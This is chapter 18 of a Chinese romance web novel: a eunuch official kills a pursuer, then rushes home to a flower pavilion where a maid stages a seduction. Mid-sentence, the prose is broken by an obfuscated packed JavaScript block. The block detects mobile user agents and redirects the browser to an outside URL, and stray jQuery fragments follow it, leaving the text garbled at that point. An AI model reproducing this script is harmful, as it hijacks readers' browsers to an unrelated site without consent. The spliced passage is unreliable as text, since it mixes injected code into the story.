18. 第 18 章

作品:《竹马上瘾后

    竹林深处,马蹄踏过尘土,激起的沙土随风飘扬,不一会儿就消散无踪。


    裴翙坐在马上一动不动,眼神睥睨四方,双腿夹紧马身,手中镇定地拿着一把短刃玩耍。


    “不要再做无用功,给你三个数,停下。”


    他视线一转,眼神落在了前方不要命地跑的人身上。


    闻裴翙的话,那人并未停止奔跑,反而跑得越发起劲儿。


    “一……”


    逃跑的人使出浑身力气,他若停下只能被他残忍地杀害。


    “二……”


    他死死一咬牙,拼一把,面色狠厉,转过身射.出一道暗器,那暗器疾速向裴翙的眉中心而来。


    裴翙眼皮一抬,凌厉的光从眸子里射出。


    他扔出手中的短刃,在那暗器即将正中他眉心的前一秒直直地将其打飞,击碎。


    随后,那柄短刃不偏不倚地插在那人的心脏。


    这两天裴翙都未回府,忙得焦头烂额,一直在外头处理老匹夫的事。


    他就说那門离是在搞鬼,什么病入膏肓、无力回天,分明是他使的障眼法。


    那病弱之人暗中还跟老匹夫搭上线,想要出其不意打他个措手不及。


    半臂从后面跟了上来,不等他看清眼前的这副场景就被问道。


    “門离那边如何?”


    他回复:


    “已经将人控制住了,抓住了暗中联系的线人。”


    “那老匹夫不知道吧?”


    “自然,李刺史还未收到消息。”


    裴翙一嗤:


    “老匹夫就是蠢,以为真能把我怎样吗?恐怕他要真动手,第一个阻拦的就是纵容他箭雨刺杀的那人,上次他能出手不过是那人给我的警告,那箭连毒都未抹,就算把人射成刺猬也无大碍,是那没根儿在提醒我,让我知分寸。”


    “阿郎,恐是二管事嚼了舌根。”


    半臂欲言又止。


    裴翙不满地叫他说。


    半臂抬头咬咬腮帮子:


    “上次阿郎为何要罚他?二管事是不干净,可这些年不都是睁一只眼闭一只眼吗?而且眼下局势动荡,您这样做不是为自己平添怀疑吗?那江中官就是因为此事才纵容……”


    裴翙闲散地瞥他一眼,眼神虽淡却不乏警示,那眼神,叫他闭嘴,他不敢再追问。


    “把人留着,看看門离会有何行动,必要时候将计就计。”


    半臂郑重地点头,“是。”


    “你继续盯着,记住,不要走漏风声。”


    半臂眼里含光。


    前几天他看到阿郎揪着八娘子手腕吃了一大惊,本来想继续观望,可感受到阿郎散发出的瘆人警告他不得不早早就退下。


    他那时深深望了八娘子一眼,果然是个妖怪,阿郎每次碰到她都会变得怪异。


    现下在外游走周旋,杀人不见血积极搞事业,不常回府的阿郎才是正常的,当初就不该把她带回来。


    他充满希冀地望着阿郎。


    “今日夜色渐晚,属下这就给您安排住处。”


    “不用,回府。”


    半臂啊了一声。


    “阿郎,这会子回府要花好几个时辰。”


    “那是你。”


    留下这一句话后裴翙就驾着马快速离去,留下一脸灰尘的半臂在原地发愣。


    从前三五个月不着家的阿郎怎么变得爱回府?


    半臂眼神犀利,八!娘!子!


    *


    裴翙轻装简行回府,到时天已经快要黑得彻底了。


    夜色凉如水,天边的一轮玄月安静地挂在空中。


    藺允叠拨着算盘,拿起笔在薄账上勾画。


    自从上次春酒指认阿苏,阿苏被罚板子后,她的日子就更加难过,不仅是阿苏要刁难她康阿婆也不放过她。


    不过后来跟康阿婆回去后,春酒的日子就好过多了,今天还给她送来了吃食,想来是混得不错。


    她约她半个时辰后在韫园相见,她如今在那里当差。


    修剪枝丫,返璞归真,是个轻松活儿。


    裴翙一下马就径直朝着甯园走去,他这一身汗臭味儿,必须得净净。


    谁知才进门就碰到一个行色匆匆,健步如飞的小厮,本来他是无需理会的,但那小厮的表情着实焦灼,额上都冒了些许汗,看着像是府中出了什么要紧事一般。


    “阿郎安好。”


    那个小厮毕恭毕敬向他行礼,他无聊地转了转手中的扳指,随性地问了一句:


    “出什么事了?”


    本来他是不想管的,这府中的事除了刺杀他都不想管,反正那些人再怎么作也不能翻了天,他才懒得管那些鸡毛蒜皮的小事。


    但是如今她在,他多少要知道一点。


    那小厮狠狠一跪,头磕在地上埋得低低的,语气慌张急促。


    “阿郎,方才有人经过韫园时不小心被树木落下的枝条砸了,现下后背伤了,奴不敢妄动,正要去请郎中!”


    裴翙抿了抿唇,有些黑脸,他就说是些小事嘛,浪费时间。


    他正准备抬脚走时那小厮又自顾自地喃喃道:


    “八娘子伤得也太重了……”


    裴翙一听这名字瞳孔就不自觉地放大,厉声问道:


    “你说谁?”


    小厮颤颤巍巍道:“八娘子。”


    裴翙瞬间怔住,她受伤了?伤到了后背?严重吗?


    他正在思索着藺允叠的伤势,没注意到那小厮抬头快速瞄了他一眼,眼咕噜心虚地转了又转,其中不乏考量之意。


    接着,小厮听到裴翙慎重的声音夹杂着些愠怒:


    “滚。”


    小厮连连喊是,滚出了他的视线。


    裴翙一拍手,暗卫立即出没,领命去寻郎中。


    他脚步一转,立即朝韫园走去。


    好好的,树枝怎会落下来,还刚好砸中了她?


    莫不是又是那老匹夫给他的下马威,上次让他得逞了他还真以为自己无所不能吗?


    哼!敢动他的人,看来是真的把他当温和的猫犬了。


    裴翙紧紧按住拇指上的扳指,脸色沉得吓人。


    她那么娇气,被掉下的枝条砸伤不知疼得掉了多少眼泪。


    还是连着脊柱的后背,那么敏感的地方,寻常士兵都不一定能受不住,更别说她了。


    他的脚步越来越快,迫不及待想要飞过去查看她的伤势。


    待裴翙走远,一旁躲着的小厮才拍拍身上的灰尘起身,他抬起头,这裴府,要迎来春天了。


    看来她说的没错,阿郎果真是开荤了。


    她跟他说阿郎开窍了,他原本是不信的,起了试探的心思,要是她说谎,他是不会帮她将阿郎引到韫园去的。


    于是他先抛了个府中人受伤的理由,阿郎如他想的一般挂了脸,后又不小心说出是八娘子,他的脸色立马就变了,虽然也是黑着的但多了些担忧。


    阿郎还往他所说的方向去了。


    他笑了笑,眼底冒出亮光,她应该能成功吧?


    藺允叠今日出门特地涂了裴翙给她的消肿的药。


    那药不仅冰冰凉凉深入肌肤还有特殊的防蚊气味。


    淡淡的甜香味。


    当真好闻。


    春酒约她在韫园的乌春阁中相见。


    乌春阁是府中的赏花阁,是一座大大的阁楼,三层的区域,每一层观赏的花都不同。


    最底层被低矮的玫瑰覆盖,从阁楼的入口处就被它们包围着,一进到就能感受到荆棘丛生的花海。


    称得上震撼两个字!


    第二层是稍高一些的树木。


    高高的石榴树枝芽伸出枝条入阁中,橙红色的小花骨朵儿触手可及,或是轻轻一摘或是随着微风飘荡,那含苞欲放、小巧玲珑的瓣片就落入掌心。


    是近距离观赏的好地方。


    最上层是统览之地,能看到整座韫园的全部风景。


    乌春阁旁种植的花毕竟有限,可整座韫园,栽植的花草可是不计其数。


    其中各种各样的玫瑰最多,她有些意外,喊打喊杀的大阉党竟然喜欢怎么娇嫩的花!


    丝毫不符合他的形象。


    凭栏眺望,四周皆入眼底,好不宜人!


    藺允叠走在韫园中,望着夏日盛放的千百花朵,它们争奇斗艳,却又各自融合,不显突兀。


    一楼,她约在一楼。


    这赏花阁世家大族皆有,但像裴


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053203|149068||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    府这般大手笔的极其少见,因为他们皆不像他如此豪横,自是把钱都用于装修主建筑。


    这乌春阁算是裴府一大特色,一般只开放一楼。


    后两层则只允许负责洒扫的婢子小厮进入。


    藺允叠暗了暗眸子,藺家的就只是一个长亭,还不及它一层大。


    裴翙走得极快,脚步快要生风,他的眉头拧成川字。


    眼看就要到达乌春阁,他一步跨上三阶台阶,入了阁楼。


    眼下不是二层和三层开放的时间,裴翙径直入了一楼。


    随着脚步的移近,分隔内外的帷帘被夏日微风吹得飘扬,帷帘卷起一角,一起一落,显现出内里的一盏微光。


    朦朦胧胧,或明或暗,微光照映出颜色浓烈的玫瑰身影。


    它娇艳欲滴的花瓣完全绽放,露出中心娇弱的花蕊,仿佛毫无保留摆着惑.人的姿势慵懒地露出最柔软的一面。


    无声邀人抚摸呵护。


    裴翙大步上前,掀开一荡一晃的帷帘,烛火呲呲地跳动,一亮一息。


    他双眼四处追寻那受伤人儿的踪迹。


    没有,她去哪儿了?


    他往前走了几步,仔细环顾四周,目之所及只有一大片在微风中轻轻摇曳的玫瑰,挡风遮雨包围四周的帷帘。


    还有一道屏风。


    正当他要出声唤藺允叠时,一道身影缓缓映在屏风上。


    那人慢慢坐了起来,肩若削成、腰如素约,在屏风上显露无疑。


    她伸出芊芊细手落在肩头,头颈微侧,嘴角渐渐扬起一抹弧度,双颊顺应地丰盈了起来,是她那圆润的模样。


    裴翙整个人像是被定住一般移不动脚步,呼吸无声无息间渐渐加重。


    只见那人渐渐褪下堪堪包住肩头的薄纱。


    霎那间,薄纱轻飘飘慢悠悠从她的后背一丝一丝滑落,一直滑落到腰际,堆落住不动。


    裴翙不知为何心密密麻麻地泛起了酸。


    “后背不是受伤了吗?为何不等郎中来私自褪下衣物?”


    她不搭话,慢慢转过身,一度度扭转,所有线条皆映在屏风上。


    她隔着屏风望着面前傻傻愣怔的男人弯了弯唇。


    勾勒的妩媚眼线上扬,桃花眼开合眨动,仿佛一朵绽放到了极致的花。


    她这妆从及笄后就开始练习了。


    那时的阿郎一向清正自持,不近女色,她本想慢慢地等,等他心思开窍,没想到直至男子最气盛的年纪他还是那般死板。


    她的妆也一直荒废着,本以为没机会展示于他。


    可如今不同了,才尝过滋味的男人只会更疯狂。


    或许阿郎往日的清高也只是装的,骨子里与所有男人一样。


    是个凡人,是个庸俗的凡人。


    或许还是个极其贪求过分的凡人。


    阿苏手指微抬,轻轻地将阻隔的屏风推倒。


    “嘭……”


    屏风一点一点倒下,那张媚.态尽显的面孔一寸一寸揭露。


    先是描过的淡淡黛眉、冒着浓烈惑意的双眼、绯红的双颊,再是沾了玫瑰花瓣的双唇,最后是……


    胸口的起伏。


    阿苏眼波流转,赤.裸玉足轻点地,些许发丝滑落至胸前。


    白皙之中突然出现的一抹黑不仅将其遮掩了许多,有一种欲说还休的姿态,还形成了鲜明的对比。


    称得白皙的地方越发得白。


    她踩着阁中飘落的玫红花瓣朝她的囊中之物走去。


    一颦一笑,皆散发出风情妖.娆的滋味。


    裴翙望着眼前这陌生的面孔笑了笑。


    嘴角一勾,颇有几分邪魅之态。


    眼里散发着快要肆意展露的风.流。


    就在阿苏即将上手抚摸男人的双唇时,身后的帷帘猝不及防地被掀开。


    “春……”


    一个珠圆玉润的身影出现在她视线。


    只见那人先是疑惑地睁大眼睛,再是震惊地捂住嘴巴,那双标志的杏眼撑得圆圆的。


    而后正常的脸色慢慢变红,由绯红变成酡红,比她上了妆的脸还要红。


    阿苏挑衅地挑起眉眼,头慢慢地往他胸前靠,手也慢慢地挨近他的唇。